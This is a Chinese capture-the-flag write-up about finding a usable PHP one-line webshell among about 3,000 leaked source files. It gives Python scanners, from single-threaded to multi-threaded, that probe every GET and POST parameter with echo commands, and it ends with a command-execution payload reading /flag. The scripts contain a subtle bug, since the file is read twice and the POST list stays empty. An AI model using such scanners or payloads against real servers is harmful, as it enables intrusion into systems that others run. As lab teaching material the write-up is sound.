目录
考点:本题目考查的是编写脚本的能力,从中学到了许多。
解题过程
打开题目后,是这样的,显示网站被黑,但是说明了源码的位置
访问/www.tar.gz ,发现这个源码有近40MB!!! 没办法,下载吧。
下载之后,发现里面有3002个项目,只有一个是index.html,其余都是php文件。并且每个php文件都有若干个一句话木马,这个不可能一个一个试,只能通过脚本来寻找。
我的学习过程是循序渐进的,通过学习师傅们的wp,从简单脚本写起。
1. 一个简单的exp
实现获取目标目录下php文件的get参数,并且尝试执行命令。(因为是练习,我只将目标php文件和一些其他php文件放进文件夹测试,不是全部的)
import re
import os
import requests
files = os.listdir('D:/phpstudy_pro/WWW/test1/') #获取路径下的所有文件
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])') #设置正则
for i in files: #从第一个文件开始
url = "http://127.0.0.1/test1/" + i
f = open("D:/phpstudy_pro/WWW/test1/"+i) #打开这个文件
data = f.read() #读取文件内容
f.close() #关闭文件
result = reg.findall(data) #从文件中找到GET请求
for j in result: #从第一个GET参数开始
payload = url + "?" + j + "=echo ******" ##尝试请求次路径,并执行命令
#print(payload)
html = requests.get(payload)
if "******" in html.text:
print(payload)
exit(1)
代码执行结果:
2. python 多线程简单实例
为后续的exp多线程实现打铺垫(这个简单实例来源于网络)
import threading
import time
def test():
for i in range(5):
print('test ',i)
time.sleep(1)
thread = threading.Thread(target=test)
thread.start()
for i in range(5):
print('main ', i)
time.sleep(1)
3. 一个低配版的exp
测试版本,还在测试的文件夹中(同时下面的代码中还有许多曾经测试用的代码,不过都注释掉了)
低配版指的是单线程,速度过于缓慢。
import re
import os
import requests
import time
import threading
filepath = r"D:/phpstudy_pro/WWW/test1/" #指定路径
os.chdir(filepath) #这句不懂什么意思,但是去掉之后会报错
files = os.listdir(filepath) #陈列文件名字
s = requests.session()
s.keep_alive = False
def test(file):
with open(file,encoding='utf-8') as u:
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', u.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', u.read()))
data = {} #获取所有的post参数
params = {} #获取所有的get参数
for m in gets:
#print(m)
params[m] = "echo xxxxxx;"
#print(params[m])
for n in posts:
data[n] = "echo xxxxxx;"
url = "http://127.0.0.1/test1/" + file
req = s.post(url ,data = data , params = params)
req.close()
req.encoding = 'utf-8'
content = req.text
#print(content)
if r"xxxxxx" in content: #首先判断回显有无xxxxxx,然后再判断是get还是post
flag = 0
for a in gets:
req = s.get(url + '?%s='%a +"echo xxxxxx;")
content = req.text
req.close()
if r"xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = s.post(url,data={b:"echo xxxxxx;"})
content = req.text
req.close()
if r"xxxxxx" in content:
break
if flag ==1:
param=a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
for i in files:
test(i)
4. 高配版
这段代码很大程度上来源于 HyyMbb师傅的wp,原文地址:传送门
需要注意的几点:
(1)记着关闭线程,释放内存,这是一个良好的习惯 req.close()
(2)os.chdir(filePath) 虽然不懂,但是没有就会报错
(3)一次性获得一个php文件里所有的get参数,post参数 req = session.post(url, data=data, params=params)
(4)php版本为7.x
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) )) #只是一个简单的时间函数,看起来更漂亮罢了
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW/test1/"
os.chdir(filePath) #改变当前的路径,这个还是不太懂
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath) #得到该目录下所有文件的名称
session = requests.Session() #得到session()为之后的实现代码回显得取创造条件
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire() #好像与锁什么的相关,但是还是不太懂,多线程开启
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) )) #更好看,同时可以对比不加线程和加线程的时间对比
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/test1/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release() #对应于之前的多线程打开
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
最终找到了利用文件: xk0SzyKwfzw.php
找到了利用的参数:Efa5BVG
命令执行, payload:
xk0SzyKwfzw.php?Efa5BVG=cat /flag